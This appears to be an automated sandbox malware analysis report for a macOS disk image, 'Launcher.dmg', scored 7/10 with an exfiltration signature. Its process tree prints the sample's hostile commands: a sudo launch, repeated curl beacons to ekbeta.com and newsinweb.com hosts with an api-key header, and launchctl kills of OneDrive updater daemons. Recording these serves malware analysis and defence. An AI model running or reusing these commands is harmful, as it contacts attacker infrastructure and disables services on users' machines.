Overview

overview

7

Static

static

1

Launcher.dmg

macos-10.15-amd64

7

Launcher/L...uncher

macos-10.15-amd64

7

Analysis

  • max time kernel
    102s
  • max time network
    102s
  • platform
    macos-10.15_amd64
  • resource
    macos-20250619-en
  • resource tags

    arch:amd64arch:i386image:macos-20250619-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    27/07/2026, 12:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Launcher.dmg
  • Size 115KB
  • Sample260727-ppdnkssclb
  • SHA256 12f1e8ea44fae73b7636824985c04866d44dce4c76c203fe4c547d781416b900
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
exfiltration

Malware Config

Signatures

  • Exfiltration Over Alternative Protocol 1 TTPs 12 IoCs

    Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

    exfiltration

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"open /Volumes/Launcher/Launcher.app\""
    1⤵
      PID:513
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"open /Volumes/Launcher/Launcher.app\""
      1⤵
        PID:513
      • /usr/bin/sudo
        sudo /bin/zsh -c "open /Volumes/Launcher/Launcher.app"
        1⤵
          PID:513
          • /bin/zsh
            /bin/zsh -c "open /Volumes/Launcher/Launcher.app"
            2⤵
              PID:514
            • /usr/bin/open
              open /Volumes/Launcher/Launcher.app
              2⤵
                PID:514
            • /usr/libexec/xpcproxy
              xpcproxy com.utils.Launcher.2332
              1⤵
                PID:515
              • /Volumes/Launcher/Launcher.app/Contents/MacOS/Launcher
                /Volumes/Launcher/Launcher.app/Contents/MacOS/Launcher
                1⤵
                  PID:515
                • /bin/sh
                  sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"https://ekbeta.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                  1⤵
                    PID:518
                  • /bin/bash
                    sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"https://ekbeta.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                    1⤵
                      PID:518
                      • /usr/bin/curl
                        curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: de62a2f47d1c7dec2997f931a050a615" "https://ekbeta.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7" -o /dev/null -w "%{http_code}"
                        2⤵
                          PID:519
                      • /bin/launchctl
                        /bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
                        1⤵
                          PID:523
                        • /bin/launchctl
                          /bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
                          1⤵
                            PID:524
                          • /usr/libexec/xpcproxy
                            xpcproxy com.apple.nsurlstoraged
                            1⤵
                              PID:525
                            • /usr/libexec/nsurlstoraged
                              /usr/libexec/nsurlstoraged --privileged
                              1⤵
                                PID:525
                              • /bin/sh
                                sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"http://ekbeta.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                1⤵
                                  PID:526
                                • /bin/bash
                                  sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"http://ekbeta.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                  1⤵
                                    PID:526
                                    • /usr/bin/curl
                                      curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: de62a2f47d1c7dec2997f931a050a615" "http://ekbeta.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7" -o /dev/null -w "%{http_code}"
                                      2⤵
                                        PID:527
                                    • /usr/libexec/xpcproxy
                                      xpcproxy com.apple.StreamingUnzipService 186
                                      1⤵
                                        PID:528
                                      • /System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
                                        /System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
                                        1⤵
                                          PID:528
                                        • /bin/sh
                                          sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"https://asia.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                          1⤵
                                            PID:532
                                          • /bin/bash
                                            sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"https://asia.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                            1⤵
                                              PID:532
                                              • /usr/bin/curl
                                                curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: de62a2f47d1c7dec2997f931a050a615" "https://asia.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7" -o /dev/null -w "%{http_code}"
                                                2⤵
                                                  PID:533
                                              • /usr/libexec/xpcproxy
                                                xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
                                                1⤵
                                                  PID:534
                                                • /System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
                                                  /System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
                                                  1⤵
                                                    PID:534
                                                  • /bin/sh
                                                    sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"https://usa.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                                    1⤵
                                                      PID:536
                                                    • /bin/bash
                                                      sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"https://usa.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                                      1⤵
                                                        PID:536
                                                        • /usr/bin/curl
                                                          curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: de62a2f47d1c7dec2997f931a050a615" "https://usa.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7" -o /dev/null -w "%{http_code}"
                                                          2⤵
                                                            PID:537
                                                        • /usr/libexec/xpcproxy
                                                          xpcproxy com.apple.newsyslog
                                                          1⤵
                                                            PID:540
                                                          • /usr/sbin/newsyslog
                                                            /usr/sbin/newsyslog
                                                            1⤵
                                                              PID:540
                                                            • /bin/sh
                                                              sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"http://asia.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                                              1⤵
                                                                PID:541
                                                              • /bin/bash
                                                                sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"http://asia.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                                                1⤵
                                                                  PID:541
                                                                  • /usr/bin/curl
                                                                    curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: de62a2f47d1c7dec2997f931a050a615" "http://asia.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7" -o /dev/null -w "%{http_code}"
                                                                    2⤵
                                                                      PID:542
                                                                  • /bin/sh
                                                                    sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"http://usa.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                                                    1⤵
                                                                      PID:545
                                                                    • /bin/bash
                                                                      sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: de62a2f47d1c7dec2997f931a050a615\" \"http://usa.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                                                      1⤵
                                                                        PID:545
                                                                        • /usr/bin/curl
                                                                          curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: de62a2f47d1c7dec2997f931a050a615" "http://usa.newsinweb.com/dynamic?txd=5da772726a1a5d41afd9c56ed4658bcb957a29b5faf012303060b1d7a1d853f7" -o /dev/null -w "%{http_code}"
                                                                          2⤵
                                                                            PID:546

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v16

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads